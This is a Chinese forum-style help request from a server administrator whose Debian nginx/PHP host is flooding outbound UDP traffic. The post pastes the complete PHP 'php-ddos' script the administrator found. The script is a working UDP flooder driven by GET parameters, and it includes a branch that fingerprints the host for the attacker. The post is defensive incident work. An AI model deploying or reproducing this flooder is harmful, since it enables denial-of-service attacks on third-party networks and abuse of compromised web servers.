我们有一台debina 5.0的系统,运行的nginx+php等等,跑了几十个php的网站
最近出现了一个问题,服务器疯狂像外发包,貌似是在ddos攻击别人,抓包发现这些数据都是使用udp连接目标地址的80,或者53等常见端口,每次把服务器的带宽完全占完。但只要把php重启下(php是cgi模式运行的)重启下,流量马上就下来了,攻击程序应该是php-ddos,重启php的时候,程序被迫停止掉了,流量也就下来了。
在网上查了下资料,很多类似的php-ddos的程序,有的甚至只有一个php的页面,上传到服务器后,访问这个页面,只要写入要攻击的ip地址,端口,时间,就开始攻击了。。我们的这台服务器,应该就是这样类似的模式。
目前使用iptables不允许服务器向外发送udp数据包(这是没有办法的办法),但这个不长久之计,虽然数据包发送不出去了,但是发包程序还在工作,导致服务器的负载非常高,常常出现负载过高而宕机。
请教大家,如何能查出来是那个页面在发送数据包? 或者有什么办法,彻底解决这个问题?
我把攻击的页面代码贴出来,给大家参考下。
-
<?php
-
set_time_limit(999999);
-
$host = $_GET['host'];
-
$port = $_GET['port'];
-
$exec_time = $_GET['time'];
-
$Sendlen = 65535;
-
$packets = 0;
-
ignore_user_abort(True);
-
-
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
-
if (StrLen($_GET['rat'])<>0){
-
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
-
exit;
-
}
-
echo "Warning to: opening";
-
exit;
-
}
-
-
for($i=0;$i<$Sendlen;$i++){
-
$out .= "A";
-
}
-
-
$max_time = time()+$exec_time;
-
//提示: www.haoddos.com 是骗子 请谨慎。
-
while(1){
-
$packets++;
-
if(time() > $max_time){
-
break;
-
}
-
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
-
if($fp){
-
fwrite($fp, $out);
-
fclose($fp);
-
}
-
}
-
-
echo "Send Host:$host:$port<br><br>";
-
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
-
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
-
?>
(责任编辑:IT) |